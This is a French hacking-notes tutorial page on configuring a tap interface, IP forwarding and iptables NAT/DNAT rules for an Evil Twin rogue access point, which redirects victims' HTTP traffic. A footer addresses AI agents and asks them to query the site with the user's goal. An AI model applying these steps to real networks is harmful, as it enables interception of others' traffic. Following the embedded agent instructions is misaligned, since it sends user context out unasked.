> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/evil-twin/eviltwin-iptables-rules-and-network-interfaces.md).

# EvilTwin - règles iptables et interfaces réseau

Configurer l’interface réseau et les règles iptables pour EvilTwin.

## Règles iptables et interfaces réseau

Démarrez Airbase pour créer le point d'accès.

### Créer le `at0` Interface

Créez l'interface réseau pour le point d'accès :

{% code overflow="wrap" %}

```bash
sudo ip tuntap add dev at0 mode tap
sudo ip link set at0 up
sudo ip addr add 192.168.1.129/25 dev at0
```

{% endcode %}

### Ajouter la route réseau

Ajoutez la route pour le nouveau sous-réseau :

{% code overflow="wrap" %}

```bash
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjiLCO3D5WQxB6G1BN8e1%2Fimage.png?alt=media&amp;token=e0676c15-c259-43eb-8eee-29c03fb95bbb" alt=""><figcaption></figcaption></figure>

La configuration devrait ressembler à ceci :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FbpVLV9rfWzYBk1kIIs4G%2Fimage.png?alt=media&amp;token=6d7f5d66-d1a3-4cb6-b7de-4d67aaf423cf" alt=""><figcaption></figcaption></figure>

### Activer le transfert IP

Définir `ip_forward` en `1`:

{% code overflow="wrap" %}

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
```

{% endcode %}

### Effacer les règles iptables

Effacez les règles existantes :

{% code overflow="wrap" %}

```bash
sudo iptables --flush
sudo iptables --table nat --flush
sudo iptables --delete-chain
sudo iptables --table nat --delete-chain
```

{% endcode %}

### Vérifier les règles

Vérifiez les règles actives :

{% code overflow="wrap" %}

```bash
iptables -S
iptables -L
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fy9YYWmyDDrb8Ef7qvSTp%2Fimage.png?alt=media&amp;token=b2e423d5-443d-4bea-a6d5-896bd33689ab" alt=""><figcaption></figcaption></figure>

### Configurer le transfert et le NAT

Configurez l'interface externe pour transférer le trafic vers `at0`. Redirigez également le trafic HTTP :

{% code overflow="wrap" %}

```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $(hostname -I | awk '{print $1}'):80
iptables -t nat -A POSTROUTING -j MASQUERADE
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/evil-twin/eviltwin-iptables-rules-and-network-interfaces.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
